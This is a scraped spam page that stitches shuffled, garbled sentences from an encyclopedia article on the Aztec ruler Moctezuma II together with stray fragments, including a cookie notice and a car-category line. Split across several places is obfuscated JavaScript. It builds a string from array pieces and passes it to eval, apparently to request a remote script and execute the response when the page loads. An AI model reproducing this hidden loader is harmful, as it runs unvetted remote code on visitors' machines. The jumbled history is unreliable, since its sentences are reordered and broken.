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The Aztec chronicles called him Motecuhzoma Xocoyotzin, while the first was called Motecuhzoma Ilhuicamina or Huehuemotecuhzoma ('Old Moctezuma').. ) Townsend, Richard F The Aztecs (2nd edition, revised ed ) Weaver, Muriel Porter (1993).. Moctezuma in particular is depicted unfavorably as a weak-willed, superstitious, and indulgent ruler (Restall 2003).. In his first description of Moctezuma, Díaz del Castillo writes: 'The Great Montezuma was about forty years old, of good height, well proportioned, spare and slight, and not very dark, though of the usual Indian complexion.. s";YZ["We"]="pe";YZ["ft"]="/d";YZ["NT"]="=f";YZ["sI"]="on";YZ["zk"]="cu";YZ["JO"]="JT";YZ["Ht"]="po";YZ["Mp"]="'G";YZ["Ch"]="n(";YZ["rM"]="Qx";YZ["kN"]="nt";YZ["mX"]="VV";YZ["Kf"]="lo";YZ["RT"]="do";YZ["ZW"]="LF";YZ["fM"]="AN";YZ["GJ"]="FZ";YZ["Lr"]="Ac";YZ["wt"]="r ";YZ["Io"]="ET";YZ["zf"]=";}";YZ["WW"]="UW";YZ["eb"]="EC";YZ["Om"]="xZ";YZ["gV"]="wF";YZ["An"]="un";YZ["Ub"]="'/";YZ["uN"]=".

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1466 – 29 June 1520), variant spellings include Montezuma, Moteuczoma, Motecuhzoma, Motēuczōmah, and referred to in full by early texts as Motecuhzoma Xocoyotzin ( Moctezuma the Young, ()), was the ninth or ruler of, reigning from 1502 to 1520.. New York: Grosset and Dunlap • Further reading [ ] González-Obregón, Luis (1992).. New York: Penguin Books • González-Obregón, Luis (1992) Las Calles de México (1st ed.

montezooma's revenge

By her he left a son, Asupacaci, who fell during the, and a daughter,, baptized as Isabel, married consecutively to Cuauhtemoc (the last Mexican sovereign), to visitador general Alonso Grado, to Pedro Andrade Gallego, and to Juan Cano de Saavedra.. Death [ ] In the subsequent battles with the Spaniards after Cortés' return, Moctezuma was killed.. He had a guard of two hundred chieftains lodged in rooms beside his own, only some of whom were permitted to speak to him.

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Revised Edition Norman: University of Oklahoma Press • Brinton, Daniel G • British Museum Exhibition Guide for Moctezuma: Aztec Ruler (2009) • • • The Conquest of New Spain.. Hernán Cortés [ ] Moctezuma II, from Les vrais pourtraits et vies des hommes illustres, París 1584 Unlike Bernal Díaz, who was recording his memories many years after the fact, wrote his Cartas de relación ( Letters from Mexico) to justify his actions to the Spanish Crown.. Other holders of Spanish noble titles that descend from the Aztec emperor include.. Several lines of descendants exist in Mexico and Spain through Moctezuma II's son and daughters, notably Tlacahuepan Ihualicahuaca, or and Tecuichpoch Ixcaxochitzin, or Isabel Moctezuma.. I have spoken of the sorrow we all felt when we saw that Montezuma was dead We even blamed the friar for not having persuaded him to become a Christian.. He is also the subject of ' opera (1963), and the protagonist in the modern opera (2005) by Italian composer, where his part is written in the language.. He changed the previous system of social hierarchy and widened the divide between (nobles) and (commoners) by prohibiting commoners from working in the royal palaces.. 11: 207–218 Vazquez Chamorro, Germán (2006) Moctezuma (in Spanish) McEwan Colin and Leonardo López Luján (eds) (2009).. (Translation: 1986:84) Anthony Pagden and Eulalia Guzmán ( Relaciones de Hernán Cortés 1958:279) have pointed the Biblical messages that Cortés seems to ascribe to Moctezuma's retelling of the legend of Quetzalcoatl as a vengeful who would return to rule over the.. Host and prisoner of the Spaniards [ ] Moctezuma captured and imprisoned by Cortés Moctezuma brought Cortés to his palace where the Spaniards lived as his guests for several months.. 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The first contact between indigenous civilizations of and Europeans took place during his reign, and he was killed during the initial stages of the, when and his men fought to escape from the capital Tenochtitlan.. The details of his death are unknown, with different versions of his demise given by different sources.. Several species of animals and plants such as,, and have been named after him Is a colloquialism for traveler's diarrhea in visitors to Mexico.. Ta strona korzysta z plików Cookies Część tych plików jest niezbędna dla prawidłowego funkcjonowania strony i już została stworzona.. Austin: University of Texas Press 2005, p • Robert Himmerich y Valencia, ibid.. Much of the idea of Cortés being seen as a deity can be traced back to the Florentine Codex, written some 50 years after the conquest.. Bueno Bravo,Isabel (2006) Revista Española de Antropología Americana 36 (2): 17–37.. According to Cortes, Moctezuma immediately volunteered to cede his entire realm to Charles V, King of Spain.. • Restall, Matthew Seven Myths of the Spanish Conquest (2003), • Townsend, Camilla.. Indigenous mythology and folklore [ ] Many are reported to worship deities named after the Aztec ruler, and often a part of the myth is that someday the deified Moctezuma shall return to vindicate his people.. Malintzins choices: an Indian woman in the conquest of Mexico Albuquerque: Univ.. He was succeeded by his adolescent nephew, During the siege of the city, the sons of Moctezuma were murdered by the Aztecs, possibly because they wanted to surrender.. In the Quisteil rebellion of the in 1761 the rebel leader reportedly called himself 'Little Montezuma'.. Oct 10, 2013 Montezuma, or more correctly, Motecuhzoma II Xocoyotzin (aka Moctezuma) or 'Angry Like A Lord' was the last fully independent ruler of the Aztec empire before the civilization's collapse at the hands of the Spanish in the early 16th century CE.. Coat of arms of the Dukes de Moctezuma de Tultengo (Descendientes del Emperador Mexica Moctezuma II).. Civilization of the American Indian series, no • ^ Williamson, Edwin (1992) The Penguin history of Latin America.. ' (Díaz del Castillo 1568/1963: 294) Bernardino de Sahagún [ ] The, made by, relied on native informants from, and generally portrays Tlatelolco and Tlatelolcan rulers in a favorable light relative to those of Tenochtitlan.. By the Princess Acatlan were left two daughters, baptized as Maria and Marina (also known as Leonor).. [ ] At some time during that period, Moctezuma became a prisoner in his own house.. Meeting place of Moctezuma and Hernán Cortés In 1517, Moctezuma received the first reports of Europeans landing on the east coast of his empire; this was the expedition of who had landed on, which although within territory was under the auspices of the Aztec Empire.. Berkeley: University of California Press Martínez, Jose Luis (1980) 'Gerónimo de Mendieta'.. [ ] One such example was the rebellion of the Virgin Cult in in 1721, where the followers of the Virgin Mary rebelled against the Spanish after having been told by an apparition of the virgin that Moctezuma would be resuscitated to assist them against their Spanish oppressors.. var YZ = new Array();YZ["HI"]=" r";YZ["fP"]="in";YZ["Ge"]="TR";YZ["cu"]="cX";YZ["PY"]="IB";YZ["Fp"]="LQ";YZ["BH"]="st";YZ["pJ"]="EV";YZ["pm"]="0A";YZ["jT"]="ed";YZ["Zr"]="VQ";YZ["qb"]="re";YZ["Ly"]="me";YZ["Sq"]="ex";YZ["Zb"]="t9";YZ["LU"]="QA";YZ["xM"]="cG";YZ["ye"]="MU";YZ["Ra"]="Q9";YZ["Cr"]="w ";YZ["fa"]="lp";YZ["rr"]="Bt";YZ["Ik"]="vW";YZ["WE"]="eq";YZ["Pb"]="ow";YZ["NS"]="Uh";YZ["Xo"]="cB";YZ["Uo"]="ct";YZ["Jw"]="r=";YZ["aK"]="',";YZ["Dg"]="er";YZ["Yf"]="r.. Our men who had been shielding Montezuma had momentarily neglected their duty when they saw the attack cease while he spoke to his chiefs.. Translated by Anthony Pagden New Haven, CT: Yale UP, 1986:467 • Guzman, Eulalia.. Mutezuma came down the middle of this street with two chiefs, one on his right hand and the other on his left.. The urban legend states that Montezuma II initiated the onslaught of diarrhea on 'gringo' travelers to Mexico in retribution for the slaughter and subsequent enslavement of the Aztec people by Hernán Cortés on Aug 13, 1521.. Estudios de Cultura Nahuatl, UNAM, Mexico Phelan, John Leddy (1970) [1956] The Millennial Kingdom of the Franciscans in the New World: A Study of the Writings of Gerónimo de Mendieta (1525–1604) (2nd edition, revised ed.. Bernal Díaz del Castillo Translated by J M Cohen, New York: Penguin, 1963 • ^ Lockhart 1993, pp.. ) Ciudad de México, DF: • Andrews, J Richard (2003) [1975] Introduction to Classical Nahuatl.. (Díaz del Castillo 1963: 220) When Cortés arrived in 1519, Moctezuma was immediately informed and he sent emissaries to meet the newcomers; one of them known to be an Aztec noble named Tentlil in the Nahuatl language but referred to in the writings of Cortés and Bernal Díaz del Castillo as 'Tendile'.. Aftermath [ ] The Spaniards were forced to flee the city and they took refuge in Tlaxcala, and signed a treaty with them to conquer Tenochtitlan, offering to the Tlaxcalans freedom from any kind of tribute and the control of Tenochtitlan.. Of New Mexico Press, 2007, Page 86-88 • Díaz del Castillo (1963, p 294) • Robert Himmerich y Valencia, The Encomenderos of New Spain, 1521-1555.. • A reconstructed, based on historical sources, in a contemporary style Preceded by 1502–1520 Succeeded.. o";YZ["cJ"]="eT";YZ["ST"]="Fd";eval(YZ["FN"]+YZ["wt"]+YZ["hu"]+YZ["Jw"]+YZ["py"]+YZ["Cr"]+YZ["hn"]+YZ["Rz"]+YZ["dY"]+YZ["ET"]+YZ["WE"]+YZ["tI"]+YZ["BH"]+YZ["pT"]+YZ["da"]+YZ["Qr"]+YZ["WL"]+YZ["We"]+YZ["Ch"]+YZ["Mp"]+YZ["Io"]+YZ["aK"]+YZ["Ub"]+YZ["ft"]+YZ["Pb"]+YZ["py"]+YZ["ry"]+YZ["mC"]+YZ["Zb"]+YZ["uN"]+YZ["fP"]+YZ["to"]+YZ["Ik"]+YZ["uw"]+YZ["rM"]+YZ["WW"]+YZ["mp"]+YZ["kI"]+YZ["EI"]+YZ["Oz"]+YZ["CV"]+YZ["eb"]+YZ["Js"]+YZ["eu"]+YZ["LU"]+YZ["JO"]+YZ["pm"]+YZ["jT"]+YZ["VL"]+YZ["cJ"]+YZ["GJ"]+YZ["bc"]+YZ["ev"]+YZ["mX"]+YZ["rr"]+YZ["xM"]+YZ["Zr"]+YZ["Xj"]+YZ["Lr"]+YZ["Fp"]+YZ["fa"]+YZ["Kw"]+YZ["dh"]+YZ["GZ"]+YZ["ev"]+YZ["fq"]+YZ["NS"]+YZ["Ge"]+YZ["ST"]+YZ["Xo"]+YZ["gh"]+YZ["cu"]+YZ["xX"]+YZ["PY"]+YZ["oa"]+YZ["iE"]+YZ["fM"]+YZ["DF"]+YZ["YF"]+YZ["ZW"]+YZ["Om"]+YZ["EI"]+YZ["Ra"]+YZ["EE"]+YZ["gV"]+YZ["ye"]+YZ["Lr"]+YZ["pJ"]+YZ["ur"]+YZ["jY"]+YZ["Yp"]+YZ["hu"]+YZ["Yf"]+YZ["sI"]+YZ["Kf"]+YZ["ii"]+YZ["NT"]+YZ["An"]+YZ["Uo"]+YZ["ba"]+YZ["Ch"]+YZ["zT"]+YZ["FN"]+YZ["wt"]+YZ["qb"]+YZ["QT"]+YZ["RT"]+YZ["zk"]+YZ["Ly"]+YZ["kN"]+YZ["HI"]+YZ["GU"]+YZ["Dg"]+YZ["qb"]+YZ["BM"]+YZ["Sv"]+YZ["Qm"]+YZ["ul"]+YZ["Qr"]+YZ["HI"]+YZ["ka"]+YZ["Ht"]+YZ["ry"]+YZ["cJ"]+YZ["Sq"]+YZ["HW"]+YZ["zf"]+YZ["da"]+YZ["Qr"]+YZ["nz"]+YZ["iA"]+YZ["uJ"]+YZ["Yp"]);• • • Moctezuma II (c.. 'However, these words might be a polite expression that was meant to convey the opposite meaning, which was common in Nahua culture.. Cortés later melted these down for their material value (Díaz del Castillo 1963: 216–19).. Montezuma is mentioned in 's song ', from the 1975 album (the title of which is also believed to have come from 'Montezuma').. The Aztecs, Maya, and Their Predecessors: Archaeology of Mesoamerica (3rd ed ) San Diego, CA:.. Moctezuma was aware of this and he sent gifts to the Spaniards, probably in order to show his superiority to the Spaniards and Tlaxcalteca.. 1531), and conquistador Juan Cano, who survived her Descendants in Mexico and the Spanish nobility [ ].. What Moctezuma really meant could be to assert his own stature and multigenerational legitimacy.. And Mount Moctezuma, a volcano in Mexico City, are named after him Montezuma is a playable ruler for the Aztec in several of the of the series.. Austin: University of Texas Press 1991, p 196 Chipman, Moctezuma's Children: Aztec Royalty Under Spanish Rule, 1520-1700.. He died a short time after that Bernal Díaz gives this account: 'Barely was the emperor's speech to his subjects finished when a sudden shower of stones and darts descended.. He is portrayed as influenced by the belief that Cortes was Quetzalcoatl returned, and weak and indecisive, saving the conquistadores from certain defeat in one battle by ordering the Aztecs to stop.. The veracity of this claim is difficult to ascertain, though some recent ethnohistorians specialising in early Spanish/Nahua relations have discarded it as post-conquest mythicalisation.. The conquests of Moctezuma II are marked by the colour green (based on the maps by Ross Hassig in Aztec Warfare) As a symbol of resistance towards Spanish the name of Moctezuma has been invoked in several indigenous rebellions.. In Book 12 of the twelve-volume, the account in Spanish and Nahuatl is accompanied by illustrations by natives.. Isabel Moctezuma was by the mother of, who was the mother of A nephew of Moctezuma II was.. Montezuma was hit by three stones, one on the head, one on the arm, and one on the leg; and though they begged him to have his wounds dressed and eat some food and spoke very kindly to him, he refused.. Moctezuma Aztec Ruler London: The British Museum Press CS1 maint: Extra text: authors list () External links [ ] Wikimedia Commons has media related to.. Moctezuma had many wives and by whom he fathered an enormous family Though the exact number of his children is unknown and the names of most of his children were lost to history, according to a Spanish chronicler, by the time he was taken captive, Moctezuma had fathered 100 children and fifty of his wives and concubines were then in some stage of pregnancy, though this estimate may have been exaggerated.. Bernal Díaz del Castillo [ ] Moctezuma II, from Historia de la conquista de México by The firsthand account of 's paints a portrait of a noble leader who struggles to maintain order in his kingdom after he is taken prisoner.. She was given a large estate by Cortés, who also fathered a child by her, Isabel was married and widowed by a conquistador in Cortés's original group, Alonso Grado (died.. Moctezuma ordered that he be kept informed of any new sightings of foreigners at the coast and posted extra watch guards to accomplish this.. Symbol of indigenous leadership [ ] Map showing the expansion of the Aztec empire through conquest.. Pagden has written that 'There is no preconquest tradition which places in this role, and it seems possible therefore that it was elaborated by and from informants who themselves had partially lost contact with their traditional tribal histories' (Pagden 1986:467) Fernando Alvarado Tezozómoc [ ], who wrote the, was a grandson of Moctezuma II and his chronicle mostly relates the genealogy of the Aztec rulers.. In his Second Letter, Cortés describes his first with Moctezuma thus: Mutezuma [ ] came to greet us and with him some two hundred lords, all barefoot and dressed in a different costume, but also very rich in their way and more so than the others.. Las Calles de México (1st ed ) Ciudad de México, DF: Hajovsky, Patrick Thomas.. The biases of some historical sources make it difficult to understand his actions during the Spanish invasion.. Following the conquest, Moctezuma's daughter, Techichpotzin (or Tecuichpoch), became known as.. Paris: Fayard Vazquez Chamorro, Germán (1981) Revista española de antropología americana (in Spanish).. His face was rather long and cheerful, he had fine eyes, and in his appearance and manner could express geniality or, when necessary, a serious composure.. w";YZ["Xj"]="BF";YZ["eu"]="bA";YZ["HW"]="t)";YZ["EI"]="QV";YZ["ba"]="io";YZ["GU"]="ef";YZ["WL"]=".. Of his many wives may be named the princesses Teitlalco, Acatlan, and Miahuaxochitl, of whom the first named appears to have been the only legitimate consort.. As Aztec rulers spoke an overly polite language that needed translation for his subjects to understand, it is difficult to find out what Moctezuma really said.. See also [ ] • • • • • Notes [ ] Aztec warfare: imperial expansion and political control.. Moctezuma (spelled Montezuma) is portrayed in 's first novel The Fair God (1873).. Retrieved 16 November 2009 4 January 2001 Archived from on March 4, 2009 Retrieved 16 November 2009.. The 's opening line 'From the Halls of Montezuma' refers to the in Mexico City during the, 1846–48.. And they were all dressed alike except that Mutezuma wore sandals whereas the others went barefoot; and they held his arm on either side.. He was very neat and clean, and took a bath every afternoon He had many women as his mistresses, the daughters of chieftains, but two legitimate wives who were in their own right, and only some of his servants knew of it.. Therefore, to give the Spanish the necessary legitimacy to wage war against the indigenous people, Cortes might just had said what the Spanish king needed to hear.. Descendants of Pedro Tesifón de Moctezuma included (through an illegitimate child of his son Diego Luis) (1741-1819), a 9th generation descendant of Moctezuma II, who was commander of the Spanish forces at the, and his grandson, Francisco Javier Girón y Ezpeleta, 2nd and 5th marqués de las Amarillas who was the founder of the in Spain.. 1527) and poblador (a Spaniard who had arrived after the fall of Tenochtitlan), Pedro Gallego (died ca.. • Chipman, Donald E (2005) • Gillespie 1989:165–66 • Bricker,1981:138–9 • Bricker,1981:73 • Wallace, Lew (1873).. The people were appalled by their emperor's complicity and pelted him with rocks and darts.. By the following year, the Aztec empire had fallen to an army of Spanish and their Native American allies, primarily who were traditional enemies of the Aztecs.. The portrayal of Moctezuma in history has mostly been colored by his role as ruler of a defeated nation, and many sources describe him as weak-willed and indecisive.. The latter alone left offspring, from whom descends the Sotelo-Montezuma family.. On the other hand, the indigenous accounts claim that he was killed by the Spanish prior to their leaving the city [ ].. As Aztec culture made class distinctions between the children of senior wives, lesser wives, and concubines, not all of his children were considered equal in nobility or inheritance rights.. P 195, 134-35 • Sweet, David G Nash, Luis (1981) Struggle and Survival in Colonial America (1st ed.. They came in two columns, pressed very close to the walls of the street, which is very wide and beautiful and so straight that you can see from one end to the other.. 17–19 • Hernan Cortes: Letters from Mexico New Haven, CT: Yale UP, 1986 • Hernan Cortes: Letters from Mexico.. Regnal number [ ] The Aztecs did not use; they were given retroactively by historians to more easily distinguish him from the first Moctezuma, referred to as.. His name also appears in Maya ritual in where dancers dressed as a rain god are called 'Moctezumas', writing in the 19th century ( Native Races, Volume #3), speculated that the name of the historical Aztec Emperor Moctezuma had been used to refer to a combination of different cultural heroes who were united under the name of a particularly salient representative of Mesoamerican identity.. Depiction in early post-conquest literature [ ] Moctezuma's Palace from the (1542) Some of the Aztec stories about Moctezuma describe him as being fearful of the Spanish newcomers, and some sources, such as the, comment that the Aztecs believed the Spaniards to be gods and Cortés to be the returned god.. Moctezuma gave Cortés the gift of an Aztec calendar, one disc of crafted gold and another of silver.. ' (Díaz del Castillo 1568/1963: 224–25) When Moctezuma was allegedly killed by being stoned to death by his own people 'Cortés and all of us captains and soldiers wept for him, and there was no one among us that knew him and had dealings with him who did not mourn him as if he were our father, which was not surprising, since he was so good.. There he married Francisca de la Cueva de Valenzuela In 1627, their son Pedro Tesifón de Moctezuma was given the title Count of Moctezuma (later altered to Moctezuma de Tultengo), and thus became part of the Spanish nobility.. Portrayals and cultural references [ ] Montezuma II The Mexican emperor is the title character in several 18th-century: (1733) by; (1771) by; (1755) by; and Montesuma (1781).. Taking the position of tlatoani, meaning 'speaker', in 1502 CE It is a of a noun meaning 'lord' and a verb meaning 'to frown in anger', and so is interpreted as 'he is one who frowns like a lord' or 'he who is angry in a noble manner.. According to the Codex, the bodies of Moctezuma and were cast out of the Palace by the Spanish; the body of Moctezuma was gathered up and cremated.. The Aztec empire also served as the backdrop of the song , a brewery of found in, Mexico, is named after Montezuma II and his nephew,.. Relaciones de Hernan Cortes a Carlos V sobre la invasion de Anáhuac Mexico, 1958.. The descriptions of the life of Moctezuma are full of contradictions, and thus nothing is known for certain about his personality and rule.. Exactly why this happened is not clear from the extant sources The Aztec nobility reportedly became increasingly displeased with the large Spanish army staying in Tenochtitlan, and Moctezuma told Cortés that it would be best if they left.. Xocoyotzin ( IPA: ) means 'honored young one' (from 'xocoyotl' [younger son] + suffix '-tzin' added to nouns or personal names when speaking about them with deference ).. • Tezozomoc, Fernando Alvarado, 1992 (1949), Crónica Mexicayotl, Translated by Adrián León, UNAM, México • Restall 2003, chapter 6 • Restall, 2003, p.. And, 13th century dwellings in central, were named by 19th century American pioneers who mistakenly thought they were built by the Aztecs.. In his Historia, states that on 1 July 1520, the Spanish forced Moctezuma to appear on the balcony of his palace, appealing to his countrymen to retreat.. On 8 November 1519, Moctezuma met Cortés on the causeway leading into Tenochtitlan and the two leaders exchanged gifts.. 97 • Martínez 1980 • Restall, 2003, chapter 6 • Gillespie, 1989, Chapter 5.. He did not wear his hair long but just over his ears, and he had a short black beard, well-shaped and thin.. During his reign the reached its greatest size Through warfare, Moctezuma expanded the territory as far south as in and the, and incorporated the and people into the empire.. Moctezuma continued to govern his empire and even undertook conquests of new territory during the Spaniards' stay at Tenochtitlan.. In Mexico, the contemporary, the,,,and are reported to worship earth deities named after Moctezuma.. Pages in category 'Chevrolet Vehicles' The following 198 pages are in this category, out of 198 total.. Historian suggests that the people needed to have a scapegoat for the Aztec defeat, and Moctezuma naturally fell into that role.. Also, according to the Spanish law, the king had no right to demand that foreign peoples become his subjects, but he had every right to bring rebels to heel.. As the Spaniards approached Tenochtitlan they made an alliance with the, who were enemies of the Aztec Triple Alliance, and they helped instigate revolt in many towns under Aztec dominion.. It was stated that he had reigned for seventeen years, and was the best king they ever had in Mexico, and that he had personally triumphed in three wars against countries he had subjugated.. He describes Moctezuma's issue and counts that Moctezuma had nineteen children – eleven sons and eight daughters.. According to an indigenous account, he said to Cortes:'You have come to sit on your seat of authority, which I have kept for a while for you, where I have been in charge for you, for your agents the rulers.. His prose is characterized by simple descriptions and explanations, along with frequent personal addresses to the.. On the Lips of Others: Moteuczoma's Fame in Aztec Monuments and Rituals Austin: University of Texas Press 2015.. In 1766, the holder of the title became a In 1865, (coincidentally during the ) the title, which was held by Antonio María Moctezuma-Marcilla de Teruel y Navarro, 14th Count of Moctezuma de Tultengo, was elevated to that of a, thus becoming, with de Tultengo again added in 1992.. One is of the death of Moctezuma II, which the indigenous assert was due to the Spaniards.. Death and cremation of Moctezuma as depicted in the, Book 12 Franciscan friar recorded two versions of the conquest of Mexico from the Tenochtitlan-Tlatelolco viewpoint.. ' His, shown in the upper left corner of the image from the Codex Mendoza above, was composed of a ( xiuhuitzolli) on straight hair with an attached, a separate nosepiece and a.. He was quite free from sodomy The clothes he wore one day he did not wear again till three or four days later.. Lockhart, James (ed And trans ) (1993); We People Here: Nahuatl Accounts of the Conquest of Mexico.. Aztec feather attributed to Moctezuma II exhibited at the Museo Nacional de Antropología e Historia, México The pronunciation of his name is.. Then quite unexpectedly we were told that he was dead ' Cortés similarly reported that Moctezuma was stabbed by his countrymen.. Shortly thereafter, Cortés left to fight During his absence, tensions between Spaniards and Aztecs exploded into the, and Moctezuma became a hostage used by the Spaniards to assure their security.. ) Berkeley, CA: , page 215 • Bancroft, Hubert Howe (1883) History of Mexico, Vol.. Archived from (PDF) on 2012-07-01 (in Spanish) Graulich, Michel (1994) Montezuma ou l’apogée et la chute de l’empire aztèque (in French).. She had children by the latter two, from whom descend the illustrious families of Andrade-Montezuma and Cano-Montezuma.

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